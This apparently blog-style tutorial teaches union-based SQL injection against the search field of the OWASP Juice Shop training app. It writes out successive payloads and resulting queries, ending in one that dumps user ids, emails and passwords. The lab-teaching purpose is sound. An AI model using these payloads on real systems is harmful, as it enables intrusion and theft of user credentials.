How to Craft a Union SQL Injection Attack

Last week, we learned how to craft a basic SQL injection attack.  This week, we'll learn how to do something more elaborate.  We are going to use a simple search request to get a database to show us all of the records in a table of users!

It's important to know how to craft attacks like these, because it helps you find vulnerabilities in your company's application.  When you find vulnerabilities, they can be fixed before a malicious user exploits them.

In order to see a Union attack in action, we will be using the awesome OWASP Juice Shop website.  This site was created by Bjorn Kimminich, and it is so helpful in learning how to test for security vulnerabilities.  Bjorn has written a companion ebook for the site, which provides explanations of various security attacks, hints for the security challenges, and answers to the challenges if you get stuck.  The attack I'll be walking you through today is from his "Retrieve a list of all user credentials via SQL injection" challenge.

Navigate to the main page of the Juice Shop site using Chrome, then click on the three dots in the top right corner of of the browser.  Choose "More Tools", then "Developer Tools" from the dropdown menu.  This will open up the Chrome Dev tools on the page.  If the Dev Tools load on the side of the page, you may want to move it to the bottom of the page instead, so the console messages will be easier to read.  You can do this by clicking on the three dots on the right side of the toolbar, and choosing the Dock Side that puts the tools on the bottom of the browser. Click on the Console tab so you will see the console messages logged as you make requests.

We will be using the Search field on the main page of the Juice Shop for our attack.  The first thing we will do is try a simple attack to see what kind of information we can get in response.

Enter into the Search field: ';  and click the Search button.
You will get an error in the console. When you click on the carats on the left to expand the console entries, you will see that the SQL query that was run was: SELECT * FROM Products WHERE ((name LIKE '%';%' OR description LIKE '%';%') AND deletedAt IS NULL) ORDER BY name

Now that you know what SQL query is being run when you submit a search, you can manipulate the query.
Enter into the Search field: '))--
Let's take a moment to examine why we are entering these characters.
We are using ' to make the query think that the search value is completed.
We are using the first ) to close out the parentheses that started right after the word WHERE.
We are using the second ) to close out the second pair of parentheses that started right after the first.
We are using the -- to comment out all of the remaining text in the query.

When you submit this search value, this is the query that is run:
SELECT * FROM Products WHERE ((name LIKE '%'))-- OR description LIKE '%';%') AND deletedAt IS NULL) ORDER BY name
Note that everything after the -- is ignored.

You have probably noticed that this query returned all the juices in the Juice Shop!  This is because the search is running only on the % character, and the % character acts as a wild card.

Now let's try to do a UNION between this table of Products and another table.  We will make a guess that all of the usernames and passwords are in a table called Users.
Enter into the search field:  ')) UNION SELECT * FROM Users-- 
Here we are closing out the query as we did before, but now before the -- we are adding in a UNION command that will join the Users table with the Products table.

When you submit this search, this is the query that is run:
SELECT * FROM Products WHERE ((name LIKE '%')) UNION SELECT * FROM Users-- OR description LIKE '%';%') AND deletedAt IS NULL) ORDER BY name

Notice that this did not give you a response in the browser.  Take a look in the Console to see what error you got:
SELECTs to the left and right of UNION do not have the same number of result columns
What this error is saying is that the number of columns in the Products table does not match the number of columns we are asking for in the Users table.  We need to get the number of columns to match before the UNION will be executed.

We can see that there are at least five columns in the Products table, so we will start our query with that.
Enter into the search field: ')) UNION SELECT '1','2','3','4','5' FROM Users--
The numbers indicate the column numbers that we are requesting.

When you submit this search, this is the query that is run:
SELECT * FROM Products WHERE ((name LIKE '%')) UNION SELECT '1,'2,'3','4','5' FROM Users-- OR description LIKE '%';%') AND deletedAt IS NULL) ORDER BY name

Note that you get the same error message as before, which means that we still don't have the number of columns right.

At this point, you'll need to keep guessing at the number of columns.  To make things easier, I'll tell you that the correct number of columns is eight.

So, submit this search:  ')) UNION SELECT '1','2','3','4','5','6','7','8' FROM Users--
This is the query that will run:  SELECT * FROM Products WHERE ((name LIKE '%')) UNION SELECT '1','2','3','4','5','6','7','8'FROM Users-- OR description LIKE '%';%') AND deletedAt IS NULL) ORDER BY name

And note that at the bottom of your search results, you have a new row of values!  We are getting closer to success with our attack.

The next step is to remove the product results so it will be easier for us to see the results we really want.  We can do this by searching for something that we know doesn't exist, so we won't get any results at all.

Submit this search: FOO')) UNION SELECT '1','2','3','4','5','6','7','8' FROM Users--
This is the query that will run: SELECT * FROM Products WHERE ((name LIKE 'FOO')) UNION SELECT '1','2','3','4','5','6','7','8' FROM Users-- OR description LIKE '%';%') AND deletedAt IS NULL) ORDER BY name

We know that there aren't any juices named FOO, so we won't get any response.  But because we are doing a UNION, we will still get our row of column numbers as a result.

Now we can try to get some results into our table!  When we look at the columns in our UNION, we can see that the first column is an image field.  It's unlikely that there are any images in the Users table, and our UNION needs to have each column match up by data type, so we won't try to replace the first column with any of the Users columns.  We'll start with column 2.  We can guess that the Users table probably has a column for an id, a column for a username, and a column for a password.  Let's guess that the names of these columns are "Id", "Username", and "Password".  Replace columns 2, 3, and 4 with Id, Username, and Password, like this:

Search on: FOO')) UNION SELECT '1','id','username','password','5','6','7','8' FROM Users--

Unfortunately, this search doesn't give us any results, and we don't get any clues from the console either.  We can assume that one of our column names is wrong.  What would happen if we used 'email' instead of 'username'?

Let's search on: FOO')) UNION SELECT '1','id','email','password','5','6','7','8' FROM Users--

And now we get a complete list of ids, email addresses, and passwords for every user in the Users table!

I hope that this example has demonstrated the kind of thinking that is needed when searching for SQL Injection vulnerabilities.  Security testing requires more trial and error and more patience than traditional QA testing, but if it means finding and fixing vulnerabilities and protecting your company's data, it is definitely worth it!